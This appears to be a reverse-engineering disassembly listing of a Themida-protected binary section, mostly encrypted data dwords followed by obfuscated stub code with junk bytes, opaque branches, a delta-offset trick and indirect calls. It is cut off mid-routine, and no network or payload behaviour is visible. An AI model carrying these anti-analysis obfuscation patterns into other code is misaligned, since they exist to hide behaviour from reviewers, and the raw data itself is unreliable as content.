		dd 7E6A31E6h, 4FAD5036h, 0D65AF233h, 53CC30EBh,	0D5B137EFh
		dd 6EBE5256h, 75B13254h, 49D0C5DDh, 5DA1DBFDh, 3B073256h
		dd 9B9F2EB7h, 52E82DFFh, 65452AB7h, 6A58107Ch, 7A4ECDADh
		dd 0BAB13ADCh, 5F333D56h, 0CEB13256h, 5E585337h, 28B13256h
		dd 2CB85E9Ah, 0D0767FE7h, 93305236h, 0C730FD65h, 3D785337h
		dd 0AEB13CBFh, 0A2219856h, 0B7AFEA6h, 0B4720273h, 32C2AA6h
		dd 75B1325Fh, 1ED36A88h, 0D5507B4Bh, 0BE7353F7h, 58E4CA56h
		dd 0ABB12AD0h, 8EE75256h, 0EAB13CBEh, 5BD67656h, 7816D2F3h
		dd 1CD5CD52h, 0F0F96589h, 58363D37h, 42B13256h,	0D5B1325Ch
		dd 0ECBFE996h, 406DF608h, 563ADE3Ch, 0A175B1AAh, 0AB5852AFh
		dd 0D7B13256h, 0BFBE4AE3h, 0D5B132BEh, 306856h,	73A7E72Ch
		dd 3ACBAAh, 5BA7A3A8h, 0CE4D52AEh, 0EC76B330h, 98D053CBh
		dd 0D5B4DB9Fh, 0F9A53256h, 0F6415237h, 3EBE3269h, 5DB13102h
		dd 57B6B9A3h, 37BD47A9h, 6C666DECh, 0D5BADA7Eh,	593B3256h
		dd 79BBBCCFh, 4D6AD5C6h, 0A2D06DE0h, 0A5583A23h, 0DEB13256h
		dd 5C2CA93Bh, 39FF46Eh,	61BE5EB8h, 75B13246h, 0BAB139BFh
		dd 11308A56h, 6CB43CAEh, 0DE806E7Ch, 0A03A3D06h, 3CB13256h
		dd 0EAB13250h, 0E48D2C91h, 0B6580410h, 0C2B13256h, 0BA630782h
		dd 0E67F5443h, 432F72E2h, 0D5B13142h, 0EABFB859h, 7AD13256h
		dd 0BAB132D7h, 0D756B356h, 0CFAF9F66h, 0D2BEF25Dh, 0ABB13246h
		dd 29B6B9AFh, 0EAB110BFh, 74353D56h, 43B13256h,	52A5F5D5h
		dd 0AEB13ED7h, 513A3D56h, 0A4B13256h, 0D5B132D0h, 15F0DB56h
		dd 0FC49CDA9h, 454DCE13h
		dd 0A2483E23h, 22BE3A23h, 57B13244h, 4240B936h,	0D5B1325Fh
		dd 8F4DF296h, 22D7FE6Bh, 8D4E53CFh, 5F13DAAFh, 0A1583256h
		dd 92B13256h, 6495E7E6h, 0AB10FC00h, 9AD7AD2Fh,	0B5BA80F3h
		dd 0BAAAB659h, 4D583256h, 20B13256h, 34178952h,	10DC9B4Ch
		dd 0B17DEFFh, 36A586Ch,	75B1306Ah, 46F4B9AEh, 5B353D36h
		dd 2FB13256h, 5063EA8Dh, 783A545Eh, 0D9383D37h,	3B13256h
		dd 75B13251h, 0AA39C850h, 6476F086h, 0A3333D51h, 37B13254h
		dd 54D0C8DDh, 56BECE13h, 0EAB1325Ah, 0BDCD8836h, 0B60F310Ah
		dd 3CEDC0ADh, 0AEB54DD5h, 5789B659h, 0BB583256h, 63B13256h
		dd 0F3E374A3h, 8BB11E4Bh, 7CD7AFCEh, 0DE4C4B6Ah, 0A1B13E29h
		dd 57B12BD2h, 0ABB9DB56h, 0A8F43256h, 44EE92D3h, 3D58E9AAh
		dd 0B5B13256h, 5DB133D7h, 5109CE56h, 0BE4ECDA9h, 0ABB13259h
		dd 547129A6h, 0FD4114D2h, 0D8013F9Dh, 3CBA823h,	5DB13253h
		dd 0AEB0B359h, 0A4493256h, 5C3052FDh, 83422A47h, 8B60B930h
		dd 8A4FD0BFh, 0BAB4DBA9h, 0F7CF3256h, 2D47FA09h, 58B42229h
		dd 0ABB158D2h, 0D5A1DB56h, 570E3256h, 0B6EB4E36h, 43E3D445h
		dd 3EEA222h, 0D132E035h, 0D2BE3446h, 0ABB13222h, 0D5B0BD59h
		dd 0AB443256h, 71F6B9AAh, 460E5436h, 5DA3DBC6h,	4E873256h
		dd 0BF960F58h, 0AADC4DCCh, 0B7AF67CBh, 2A97E6ECh, 79EEB937h
		dd 7331CA36h, 9658534Bh, 47B13256h, 57B13259h, 0F5E46FFFh
		dd 0F2B1CFh, 0E6E5E023h, 0FED7ECECh, 3DBE3611h,	5DB13257h
		dd 0A2EEB9A3h, 287EB336h, 42A49021h, 0D5B1325Fh, 2B67398Eh
		dd 0BBEF023Ch, 3D58538Fh, 0A8B13256h, 0CEB575DDh, 0BE6A8D59h
		dd 0ABB13247h, 0C88C0EBCh, 87AFF47Eh, 0BE92863Ch, 0AE15093Fh
		dd 23A5361h, 693A525Ah,	57B122BFh, 728CD256h, 0BC97AD6Fh
		dd 8FCDB31Eh, 0DDD9ACEBh, 0E59A53EBh, 0B632CA52h, 0AEB6DB53h
		dd 0F7EC3256h, 61BFE591h, 0C5CEB1A4h, 0C5343D55h, 15B13256h
		dd 0BAB137BFh, 7A350256h, 653A791Fh, 47585237h,	0F2B13256h
		dd 0EB0BDE4Bh, 5C5F72B2h, 342C6764h, 0DA0DDD80h, 3B2DFFD6h
		dd 0CFD0C9DDh, 8E9ACE17h, 310E5436h, 8938537Ch,	62BE3357h
		dd 75B1325Ch, 0B5D05236h, 5DB132DDh, 51095356h,	0A24ECDA9h
		dd 0ABB137EFh, 36305256h, 0C17C911Ah, 0DE42CE37h, 0BAB0BA59h
		dd 0B4483256h, 514ECF21h, 57B139BFh, 2990FE56h,	0CCAE5B91h
		dd 543EB9B6h, 75B4DB37h, 63EA3256h, 94D511A9h, 543A5436h
		dd 0A557B330h, 0A37353ADh, 0DF595256h, 14B13256h, 861C7CFDh
		dd 67E75E55h, 27FB8EBh,	0CF488559h, 423C3D03h, 42B13256h
		dd 0D5B13246h, 5056CB21h, 62474631h, 7A0503D7h,	24C22B36h
		dd 0BA58DEDDh, 0D3B13256h, 3667FDF2h, 0D0952912h, 3C43D166h
		dd 429E2FCCh, 399B1372h, 5158CE92h, 72B13256h, 2964F008h
		dd 87236813h, 0B592F739h, 0EAB126BFh, 8E779D56h, 78851E87h
		dd 18DC995h, 0DBE7A6D5h, 2830AF43h, 0A3F4B95Ch,	0BB085236h
		dd 8BE7E79Bh, 75B3B859h, 0E3E33256h, 51F40937h,	0AEC9B059h
		dd 6C443256h, 2CBE2213h, 0D5B13238h, 0EAB121BFh, 8CB65D56h
		dd 1C2A7281h, 0CF6F3C15h, 0D909BE3Eh, 91CFD64Ah, 0ABBFBF59h
		dd 0DC583256h, 0FDB13256h, 0B7C89969h, 6A814E40h, 5D4D7791h
		dd 0A1B13256h, 57B13CD5h, 78305256h, 0F181B1AEh, 0EAB1B859h
		dd 9CD03256h, 0BAB1320Fh, 5DADB959h, 47D13256h,	57B13245h
		dd 1AC8511h, 67FBF62Ah,	8973A699h, 0CEED3C0h, 0EB4118D8h
		dd 18765308h, 0AEB133AAh, 56383D56h, 52B13256h
		db 36h
dword_5B8EA1	dd 0D7B4D152h		; DATA XREF: Themida_:loc_54F344r
					; Themida_:005A52A7r ...
		db 0C5h, 17h, 0EAh
; ---------------------------------------------------------------------------
		rcl	byte ptr [edx],	1
		sar	bh, 1
		xchg	dl, [ebx+58h]
		lodsb
		push	esi
		xor	dh, [ecx-4ECDB84Ch]
		scasb
		add	ah, ah
		mov	ch, 94h
		retn
; ---------------------------------------------------------------------------
		db 0FEh, 0CFh, 55h
		dd 50F93D8h, 104B7D6h, 705853F2h, 30B13256h, 387D98DBh
		dd 0A14D77DDh, 57B13EDEh, 0AD333D56h, 0DAB13256h, 0EAB132DBh
		dd 7358FB56h, 0DBB13256h, 801161E0h, 0BF363D41h, 0BEB13256h
		dd 0ABB1325Ah, 33D9AE0Ch, 0F00BA27Fh, 695106ACh, 0DAB13E94h
		dd 0DF52B330h, 0AD353D74h, 31B13256h, 0FED0F8DDh, 0D5B13CBFh
		dd 768AF356h, 0D2DF032Dh, 8415E766h, 0D6594C78h, 0A6393DBAh
		dd 58B13256h, 0ABB130D6h, 56D05256h, 3D1CE92h, 75B13251h
		dd 414DFC9Dh, 0B4ECC751h, 0AEB13242h, 0C69F6999h, 91FAA716h
		dd 1F86E703h, 0E69373A7h, 4AAEAD7Eh, 53D15237h,	5DB13259h
		dd 12135A1Eh, 22922CB2h, 7117E6h, 2055F2CEh, 0EAB9DB37h
		dd 0AF5A3256h, 7EBB04E1h, 5D59179Eh, 0F4B13256h, 8C9DD8D7h
		dd 0CDD13440h, 0DB58EADDh, 0ADB13256h, 7709232Eh, 22A70BCh
		dd 94DA74CAh, 9D445376h, 0A93A529Fh, 0CBD06D01h, 0ED62B330h
		dd 0E10A5432h, 0AE8253BFh, 0BABBB259h, 0FD13256h, 1C5BB30Fh
		dd 36967448h, 0ABB13FBFh, 0F6DC156h, 4E220184h,	0C2DF333Ah
		dd 0E73817BCh, 0E73ACBAAh, 0A8A7A3A8h, 57B13ABFh, 0A78BC256h
		dd 9177876h, 0EA8EB149h, 7792B659h, 3FBE3256h, 5DB1325Ah
		dd 0AEB7B559h, 0D6BE3256h, 0ABB13256h, 0DA4E0DD5h, 0EAB117D3h
		dd 0B232CB56h, 0BABEDB42h, 41163256h, 6A4E96A2h, 2E78679h
		dd 0D63AEC4Fh, 6B58CA6Dh, 0E54ECDA9h, 75B133D8h, 0C532CE56h
		dd 0D9BE3252h, 0AEB13279h, 57B6DBAEh, 58F33256h, 24A96698h
		dd 0E6CEB171h, 6D353D56h, 0B5B13256h, 5DB133DEh, 8E58CA56h
		dd 0BEB13256h, 0ABB13251h, 21580AE6h, 158A4C05h, 0F648CE13h
		dd 33BE2691h, 5DB13257h, 51DADBA3h, 0D444CDA9h,	0A4B42229h
		dd 0D5B15FD2h, 0E63B3D56h, 7AB13256h, 0BAB134D1h, 5D3C3D56h
		dd 2DB13256h, 58B72229h, 0ABB1B0D3h, 30055256h,	61BECB36h
		dd 75B13256h, 53F05337h, 5DB1325Ah, 0FBFBCBB6h,	0BBB70E33h
		dd 9F14C863h, 0DAB575DDh, 0EAB136DFh, 903B5256h, 0B6EEB937h
		dd 5DB121BFh, 0D3524356h, 4EF0A455h, 611B2934h,	0C295AFA0h
		dd 8833B8D9h, 75B18ABFh, 42E05256h, 1A3A530Fh, 0AEBEDB52h
		dd 0E7853256h, 35855ABCh, 64396317h, 1D2ABD78h,	79EEB9A0h
		dd 0BAB13EBFh, 6138A556h, 33CAFA9Ch, 0E9C9BC41h, 0ABC2DBBFh
		dd 5E4D3256h, 61443611h, 13D13E09h, 528A24E8h, 5DB1325Fh
		dd 0E091C20Fh, 9892AA02h, 0F0D05289h, 0DC595237h, 0BAB13256h
		dd 11B21941h, 0AEF1B893h, 76D06CAEh, 2DBE3609h,	57B13257h
		dd 0AE5AB1AFh, 0D5B0B059h, 0E5443256h, 75B13ED9h, 0BC3F3D56h
		dd 52B13256h, 0AEB132D2h, 47CEB156h, 0B9343D55h, 0DAB13256h
		dd 0EAB13BDAh, 7A445256h, 0BAB132D8h, 1C445356h, 0A16819AAh
		dd 57B13AD7h, 0A9373D56h, 0B5B13256h, 0EBEDBB37h, 0CAD15257h
		dd 9A1F19D9h, 3CD15237h, 9068B330h, 0EFD05368h,	544ECDA9h
		dd 0D5A1BD59h, 0E1583256h, 0FCB13256h, 0C8F0132Bh, 14459DFBh
		dd 0AB0875BCh, 37B13256h, 0A8098A01h, 0B4EB20FEh, 0F95899A5h
		dd 3FB13256h, 0DDE4EEB2h, 1E14D18Fh, 0E1DCC7C1h, 3A0FA61Dh
		dd 49581B5Ch, 0B54ECDABh, 0EAB1B359h, 0F1BE3256h, 0BAB13256h
		dd 0DFBE5337h, 0AEB1325Eh, 57B3BB59h, 0CAD13256h, 3C4D77DDh
		dd 0EAB13251h, 0B8F3AE02h, 73EAC8DDh, 5DB13FBFh, 0E57A6756h
		dd 1F2D0836h, 0B848B92Ch, 56BEFFA2h, 0EAB1325Bh, 0D72F8936h
		dd 34BE678Dh, 5DB13256h, 0BA58F137h, 0F4B13256h, 0FE9519ECh
		dd 33E890C9h, 595B4F5Eh, 4A5299AFh, 0EAC445D1h,	9B3A5436h
		dd 0AEB1B859h, 6D03256h, 0ABA6B759h, 54BE3256h,	0EAB13247h
		dd 75B13EBFh, 0F3526F56h, 0DAD9E1A9h, 0BFA03190h, 31D16141h
		dd 43D0CBDDh, 0D5B13256h, 0B35BB30Ch, 15B72488h, 0DC43B930h
		dd 3C69C6ECh, 0EA2BBFAFh, 0BEB724C5h, 0ABB13242h, 742DFB79h
		dd 0AE0446AAh, 809C0825h, 0F2DC56BDh, 45C368F3h, 0AEB156EEh
		dd 493A3D56h, 0A4B13256h, 0D5B12AD7h, 0EAA2DB56h, 0E6433256h
		dd 59A0F783h, 0F2699A8Bh, 176DDAFFh, 8F4AEDA3h,	0FB4D525Eh
		dd 0D5B1BA59h, 8BE93256h, 75B4B1BEh, 0A03F3D56h, 3DB13256h
		dd 0AEB1BA59h, 5A583256h, 69B13256h, 0C6E1A209h, 0E791B7ABh
		dd 2C798A71h, 0B5BAB937h, 5DB126D3h, 0AEBEDB56h, 0CEAF3256h
		dd 0F9F1EA95h, 0FB07C0D5h, 0CD7B3710h, 8D700969h, 0BAB14CBFh
		dd 4C3E3D56h, 47B13256h, 57B1325Ah, 3E0C6074h, 82B0D570h
		dd 7FE448DCh, 80B57955h, 38BEF36Dh, 5DB13227h, 0AEB122BFh
		dd 4D995356h, 0B3FFAE56h, 0DCFACCDh, 1A144C63h,	75B7DBCAh
		dd 37843256h, 0A57FBD4Dh, 0CEA17955h, 57B13FBFh, 2B3E3F56h
		dd 0E2DB5C5Ch, 45F3C42Fh, 4ED06045h, 0B1333D97h, 3DB13256h
		dd 0CF7FB930h, 57B13EBFh, 0E358CB56h, 0B5B13256h, 2A0B8D30h
		dd 758CDB37h, 37483256h, 4A383DCCh, 7D4EC750h, 579CDBAFh
		dd 24BE3256h, 0D5B13257h, 0DF2BBFA3h, 7AB725DAh, 0BAB134D6h
		dd 0A43A5256h, 51D06B05h, 57BCDB85h, 0CF8B3256h, 26BE9F84h
		dd 0F851B833h, 2EB4084Dh, 0B57E8536h, 5DB136DBh, 93085456h
		dd 0E4853FEh, 0ABA8B659h, 0C1583256h, 1BB13256h, 803B7A1Ah
		dd 0C931DCB4h, 0C9FBEC60h, 0D7ADA849h, 0FF7FE4Bh, 0CA69B936h
		dd 0AD005295h, 0EAB138BFh, 0D7794956h, 0BC02FB0Ah, 3C7C5A3Fh
		dd 0B4323D03h, 58B13256h, 0ABB126D5h, 0D5BEDB56h, 5FF03256h
		dd 259F0AD9h, 61963B7h,	4B7F77FCh, 475DB946h, 57B1325Ch
		dd 1DCF66E2h, 64C83A54h, 0EA59CA9Bh, 2FB13256h,	5AF1D8D7h
		dd 0B4D13440h, 0AEB1325Ah, 0F1F1DE75h, 0F07425FCh, 3E4EE3FAh
		dd 61BE53A3h, 75B13257h, 0DAD1C7A3h, 5DBBB459h,	0AB583256h
		dd 17B13256h, 0DAE31C5Ch, 307AB330h, 60BE534Ch,	75B1324Ah
		dd 0BAA3DB36h, 48913256h, 0D738A8CCh, 0CE84B756h, 75D886FEh
		dd 96AC144Dh, 8B45D5D6h, 0E6F588DBh, 38BE3440h,	5DB13257h
		dd 0A6F4B9AEh, 57BCB659h, 0A4D13256h, 0D5B132DCh, 7AB78D56h
		dd 15D03B91h, 12D7FCD7h, 0D6D1340Dh, 0AE313DA1h, 36B13256h
		dd 0CBB6BB37h, 734DDBD7h, 2C3B01A6h, 79F4B937h,	2C0F5436h
		dd 3CE86247h, 0CEB575DFh, 0BC43B330h, 0F93E8CF2h, 5ED034F1h
		dd 66BE2213h, 75B1325Ch, 0B5EE6536h, 5DB132D0h,	0E9385356h
		dd 57BEDB5Ah, 2A403256h, 0DC8DC41Dh, 0E2F537Fh,	2BCD76F6h
		dd 0AEF4B9B4h, 5DB13FBFh, 47AC3656h, 416F98B1h,	33472D36h
		dd 9238CA73h, 0E73A3D46h, 15B13256h, 7BBBFAD7h,	0DCD76F85h
		dd 0CF102B8Fh, 40303D37h, 0A4B13256h, 0D5B123D2h, 0EABDDB56h
		dd 0BE523256h, 7599EEFFh, 81A8815Ch, 4778FE2Eh,	57B13242h
		dd 0F64EC11Fh, 7C87360Dh, 809A9207h, 1E1BB0D4h,	13DED28Bh
		dd 0A8B12294h, 0AEB126BFh, 486AFD56h, 87366C0Dh, 0CBC5FD44h
		dd 0F2DCC625h, 18941526h, 0B5585229h, 36B13256h, 6661044Bh
		dd 0EB63D37h, 0D69A6BC7h, 5077FFCDh, 0ECA111B3h, 6FD9C711h
		dd 0B5192525h, 5DB133DEh, 1B4ECE56h, 51A12F13h,	0ABB137BFh
		dd 316B9456h, 6744EB7Ah, 6634B8D3h, 3BD75250h, 0B4FE268Dh
		dd 0AEB13246h, 7114AE7Bh, 2480F821h, 272D16D2h,	9FEC7FFh
		dd 7A61CD37h, 0BAB123D5h, 563C3D56h, 47B13256h,	57B13250h
		dd 85ED14Dh, 3CE3151Ch,	0EAB13247h, 0DCFDB297h,	58F4A4C9h
		dd 0E69D6C88h, 4CC25E98h, 813BBF9Ah, 0CBB724C2h, 0B4E7D4D6h
		dd 0FE585207h, 8FB13256h, 17F45111h, 3E9EBBAEh,	368E7CBBh
		dd 40359272h, 0CBD505B9h
		dd 5ED7B3E6h, 3D05385h,	75B1325Dh, 4D147D11h, 0E1F0F186h
		dd 51E88EDBh, 57B4DB86h, 73043256h, 8F36C564h, 0E73E3DAFh
		dd 9CB13256h, 0BAB1325Eh, 5CB36B50h, 0D484972h,	0C367B0DBh
		dd 0CDD13440h, 9557C0D7h, 62D3D9D7h, 89D06E10h,	0B6F18559h
		dd 2156B336h, 25F65364h, 8F3A53A1h, 0ABB9B559h,	5ABE3256h
		dd 0EAB13254h, 15E35336h, 0E17BB905h, 6CBE53AEh, 0BF5868AEh
		dd 18B13256h, 4D2993B6h, 0B2D72E8Fh, 3C37BAC6h,	0E34ED480h
		dd 32BEF155h, 5DB13259h, 0AEB138BFh, 2E072556h,	3969A7F1h
		dd 0B52AFF04h, 2230E3E0h, 435F4348h, 5733BB37h,	0A5B72245h
		dd 0A8393D36h, 0D6B13256h, 97CB7AA6h, 6305414h,	8BD0486Eh
		dd 6458F1AFh, 8FB13256h, 47DE09BCh, 0D559D4Bh, 0EFA2CFBFh
		dd 3A8C01F2h, 52FCFC51h, 0FE860h, 0A2060000h, 307B3D7Ah
		dd 0DDBE8459h, 0A3C5EFD5h, 91C881D8h, 5E4115B6h, 5F616057h
		dd 0E861h, 815A0000h, 16E35FEAh, 0BE906h, 0D4B0000h, 72BFB30h
		dd 3A8B8D25h, 5E9F595h,	50000000h, 88F49043h, 0F606052h
		dd 800FFBB7h, 0
		dd 61FD8A61h, 13ED828Bh, 830F0610h, 11h, 0B8A0Fh, 6E90000h
		dd 0B3000000h, 5E13C8Eh, 0DE9EBh, 12530000h, 0DE37195Ch
		dd 66705119h, 0B9A85C73h, 41C64E6Dh, 0FE9h, 9DAF6C00h
		dd 495A4223h, 3BC6EFC0h, 0A3FEAD1Bh, 0F60E1F7h,	28Fh, 0E8616000h
		dd 9, 7B41E8D4h, 9E956524h, 615AF5F0h, 88D0F5Ah, 0F000000h
		dd 284h, 60616000h, 66DA8B66h, 561D88Bh, 3039h,	0D88B5060h
		dd 890F5Eh, 61000000h, 0FFFFFF25h, 8289F57Fh, 61013EDh
		dd 1860Fh, 5AF50000h, 0F961F860h, 0BE666059h, 0C361FA33h
		dd 51F18A60h, 615ECE8Bh
; ---------------------------------------------------------------------------


loc_5B98B0:				; DATA XREF: Themida_:0054D350o
		push	ecx
		jmp	loc_5B98C4
; ---------------------------------------------------------------------------
		dw 0CF6Eh
		dd 0EC24D470h, 207E3653h, 0E6FEA60Ch
; ---------------------------------------------------------------------------


loc_5B98C4:				; CODE XREF: Themida_:005B98B1j
		push	edx
		jmp	loc_5B98D5
; ---------------------------------------------------------------------------
		dw 0BAC1h
; ---------------------------------------------------------------------------
		mov	cl, 0C8h
		mov	[esi-537096E9h], ch
		movsd


loc_5B98D5:				; CODE XREF: Themida_:005B98C5j
		jo	loc_5B98E2
		jl	loc_5B98E2
		cmc


loc_5B98E2:				; CODE XREF: Themida_:loc_5B98D5j
					; Themida_:005B98DBj
		call	$+5
		pop	edx
		sub	edx, 616E47Ch
		pusha
		pusha
		jbe	$+6
		push	edi
		pop	esi
		popa
		call	near ptr loc_5B9900+4
		inc	eax
		cmc


loc_5B9900:				; CODE XREF: Themida_:005B98F9p
		and	ds:6160A76Dh, bl
		pop	eax
		popa
		clc
		mov	ecx, eax
		cmc
		call	near ptr dword_5B96C0+0E0h
		jmp	loc_5B991C
; ---------------------------------------------------------------------------
		mov	esi, 0C7C806E0h
		dec	edi


loc_5B991C:				; CODE XREF: Themida_:005B9911j
		xor	edx, edx
		cmc
		jmp	loc_5B9938
; ---------------------------------------------------------------------------
		dd 7A5886D2h, 0DDA1DF3Bh, 99D892AEh, 7F51EE75h,	0E1F2645Ah
; ---------------------------------------------------------------------------


loc_5B9938:				; CODE XREF: Themida_:005B991Fj
		div	ecx
		jnb	loc_5B9958
		jbe	loc_5B9958
		jmp	loc_5B9958
; ---------------------------------------------------------------------------
		std
		mov	esp, 0F470AFA9h
		test	al, 9
		sub	eax, 6C935B82h


loc_5B9958:				; CODE XREF: Themida_:005B993Aj
					; Themida_:005B9940j ...
		mov	eax, edx
		stc
		pop	edx
		pusha
		jmp	loc_5B996A
; ---------------------------------------------------------------------------
		dw 9772h
		dd 0C607366Ah
		db 83h,	0C6h
; ---------------------------------------------------------------------------


loc_5B996A:				; CODE XREF: Themida_:005B995Dj
		movsx	eax, ax
		popa
		pop	ecx
		jnz	loc_5B997D
		jge	loc_5B997D
		pusha
		popa


loc_5B997D:				; CODE XREF: Themida_:005B996Fj
					; Themida_:005B9975j
		jmp	locret_5B998D
; ---------------------------------------------------------------------------
		dw 0EEE0h
		dd 0F757016h, 0B28925CBh
		db 8Ch
; ---------------------------------------------------------------------------

locret_5B998D:				; CODE XREF: Themida_:loc_5B997Dj
		retn
; ---------------------------------------------------------------------------
		jbe	loc_5B999E
		jmp	loc_5B999E
; ---------------------------------------------------------------------------
		db 0C8h, 21h, 0A6h
		db 0B9h, 0CFh
; ---------------------------------------------------------------------------


loc_5B999E:				; CODE XREF: Themida_:005B998Ej
					; Themida_:005B9994j
		mov	eax, eax
		jmp	loc_5B99B6
; ---------------------------------------------------------------------------
		db 93h,	7Fh, 6Ch
		dd 0B63D1752h, 0AA8B9DC7h, 252CD0DAh
		db 44h,	63h
; ---------------------------------------------------------------------------


loc_5B99B6:				; CODE XREF: Themida_:005B99A0j
		jmp	loc_5B99C7
; ---------------------------------------------------------------------------
		xchg	eax, edi
		fnstenv	byte ptr [ebx]
		inc	eax
		fisubr	dword ptr [bp+di-53h]
		dec	esi
		dec	dword ptr [esi-47h]


loc_5B99C7:				; CODE XREF: Themida_:loc_5B99B6j
		mov	eax, eax
		pusha
		mov	ecx, 10678A65h
		popa
		lea	eax, [ebp+616A925h]
		pusha
		jmp	loc_5B99EB
; ---------------------------------------------------------------------------
		dd 2317184Ah, 320497BCh, 9DCFB18Bh
; ---------------------------------------------------------------------------
		add	esi, [esi-2Ah]


loc_5B99EB:				; CODE XREF: Themida_:005B99D7j
		sbb	dh, 0A5h
		popa
		call	eax
		cld
		mov	ax, cx
		cmc
		lea	eax, [ebp+616E335h]
		jmp	loc_5B9A15
; ---------------------------------------------------------------------------
		db 58h,	0CDh, 99h
		dd 0CDC4D5D0h, 2C2E3CCDh, 78EDFDEBh, 2E18317h
		db 39h
; ---------------------------------------------------------------------------


loc_5B9A15:				; CODE XREF: Themida_:005B99FCj
		pusha
		mov	eax, edi
		call	near ptr sub_5B9A2C
		push	5777A9B4h
		mov	al, 0D7h
		inc	ecx
		dec	eax
		jmp	near ptr 45053D4Fh
; ---------------------------------------------------------------------------
		db 0F7h

; =============== S U B	R O U T	I N E =======================================



sub_5B9A2C	proc far		; CODE XREF: Themida_:005B9A18p

arg_59CEDEB6	= byte ptr  59CEDEBAh

		pop	edi
		popa
		mov	[ebp+6101CA1h],	eax
		jz	loc_5B9A4E
		jmp	loc_5B9A4E
; ---------------------------------------------------------------------------
		mov	ecx, 84989FCBh
		dec	edi
		clc
		cmp	eax, [ebp+35h]
		pop	ecx
		xlat
		and	[edi], ch
		nop


loc_5B9A4E:				; CODE XREF: sub_5B9A2C+8j
					; sub_5B9A2C+Ej
		lea	eax, [ebp+616E445h]
		jmp	loc_5B9A6D
; ---------------------------------------------------------------------------
		or	[esp+ecx-28h+arg_59CEDEB6], ch
		cli
		icebp
		adc	[edi-31h], esi
		sbb	dword ptr [ecx+7563F7FEh], 0FFFFFFF0h
		dec	esp


loc_5B9A6D:				; CODE XREF: sub_5B9A2C+28j
		jmp	loc_5B9A86
; ---------------------------------------------------------------------------
		inc	esi
		xchg	eax, esp
		retf
; ---------------------------------------------------------------------------
		db 68h,	4Fh, 9Ch
		dd 71B9A04Fh, 762CAB24h, 644CED89h
		db 0FCh, 0A9h
; ---------------------------------------------------------------------------


loc_5B9A86:				; CODE XREF: sub_5B9A2C:loc_5B9A6Dj
		mov	[ebp+6101EE5h],	eax
		jg	loc_5B9AB1
		jge	loc_5B9AB1
		jmp	loc_5B9AB1
; ---------------------------------------------------------------------------
		db 0AAh, 0B6h, 96h
		dd 0C6507D1Eh, 887941F6h, 41ECB229h, 84922217h
		db 79h
; ---------------------------------------------------------------------------


loc_5B9AB1:				; CODE XREF: sub_5B9A2C+60j
					; sub_5B9A2C+66j ...
		mov	eax, 0
		pusha
		mov	ch, bh
		mov	ax, 0E4BFh
		popa
		or	eax, eax
		jz	loc_5B9C4C
		pusha
		push	edx
		mov	si, 53FEh
		pop	ecx
		jmp	loc_5B9AE1
; ---------------------------------------------------------------------------
		dw 0F77Bh
		dd 0ACF015D6h, 1AF25F14h, 0DCB239C2h
		db 6Bh
; ---------------------------------------------------------------------------


loc_5B9AE1:				; CODE XREF: sub_5B9A2C+A1j
		popa
		jo	loc_5B9AF0
		pusha
		mov	cx, si
		mov	cx, di
		popa


loc_5B9AF0:				; CODE XREF: sub_5B9A2C+B6j
		mov	byte ptr [ebp+61023E5h], 56h
		pusha
		mov	edi, 26F9D64Ah
		popa
		push	0A9C530DFh
		clc
		push	dword ptr [ebp+6101D45h]
		pusha
		movsx	esi, cx
		mov	si, 0E350h
		popa
		lea	eax, [ebp+613858Ah]
		jb	loc_5B9B33
		jmp	loc_5B9B33
; ---------------------------------------------------------------------------
		dd 0ACD2BDD1h, 0D5AAACFEh, 0BA326D16h
		db 84h,	0E1h, 0BDh
; ---------------------------------------------------------------------------


loc_5B9B33:				; CODE XREF: sub_5B9A2C+EDj
					; sub_5B9A2C+F3j
		call	eax
		jge	loc_5B9B46
		jmp	loc_5B9B46
; ---------------------------------------------------------------------------
		dd 0B5DD5EF1h
; ---------------------------------------------------------------------------
		mov	bl, 0B2h


loc_5B9B46:				; CODE XREF: sub_5B9A2C+109j
					; sub_5B9A2C+10Fj
		push	eax
		pusha
		popa
		jmp	loc_5B9B61
; ---------------------------------------------------------------------------
		dw 9D32h
		dd 0E4FF84C8h, 1465FD33h, 4CDB0E16h, 0A5A8203Ah
; ---------------------------------------------------------------------------
		cli


loc_5B9B61:				; CODE XREF: sub_5B9A2C+11Dj
		lea	ecx, [ebp+61015A5h]
		pusha
		movsx	eax, di
		mov	esi, ecx
		popa
		push	ecx
		jmp	loc_5B9B7B
; ---------------------------------------------------------------------------
		dd 0D1195ED5h
		db 0A2h, 0CBh, 0AEh
; ---------------------------------------------------------------------------


loc_5B9B7B:				; CODE XREF: sub_5B9A2C+143j
		push	4
		stc
		push	1000h
		pusha
		call	sub_5B9B9A
		mov	ch, 8Ch
		div	dword ptr [ecx]
		push	edx
		jmp	far ptr	0E751h:0A6490872h
sub_5B9A2C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn	40C4h
; ---------------------------------------------------------------------------
		db 8Eh,	93h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5B9B9A	proc near		; CODE XREF: sub_5B9A2C+158p
		jmp	near ptr sub_5B9BAA
sub_5B9B9A	endp

; ---------------------------------------------------------------------------
		les	esp, [esp+esi*4+75h]
		wait
		inc	ebp
		aad	67h
		pop	ecx
		mov	cl, 2Dh

; =============== S U B	R O U T	I N E =======================================



sub_5B9BAA	proc far		; CODE XREF: sub_5B9B9Aj
		pop	ebx
		mov	ax, 0A43Dh
		popa
		push	dword ptr [ebp+6101FD5h]
		pusha
		pusha
		cmc
		mov	bl, 0CBh
		popa
		jmp	loc_5B9BD5
; ---------------------------------------------------------------------------
		db 37h,	0F4h, 0D1h
		dd 30BD0F77h, 6FA4A4CBh, 8362F16Dh, 328CFA42h
		db 0E3h
; ---------------------------------------------------------------------------


loc_5B9BD5:				; CODE XREF: sub_5B9BAA+12j
		popa
		call	eax
		jmp	loc_5B9BE2
; ---------------------------------------------------------------------------
		cmp	ebx, [ebp+7Fh]
		idiv	byte ptr [eax]


loc_5B9BE2:				; CODE XREF: sub_5B9BAA+2Ej
		mov	edi, [ebp+6101FD5h]
		jl	loc_5B9BF7
		pusha
		stc
		jbe	$+6
		popa


loc_5B9BF7:				; CODE XREF: sub_5B9BAA+3Ej
		add	edi, [edi+3Ch]
		jns	loc_5B9C0C
		pusha
		jns	$+6
		mov	dx, 0C7EBh
		popa


loc_5B9C0C:				; CODE XREF: sub_5B9BAA+50j
		jmp	loc_5B9C1E
; ---------------------------------------------------------------------------
		db 4Fh,	8Ch, 0F1h
; ---------------------------------------------------------------------------
		adc	ecx, [ebp+esi*8-5ED1D42Ch]
		pop	esi
		lea	esi, [esi]


loc_5B9C1E:				; CODE XREF: sub_5B9BAA:loc_5B9C0Cj
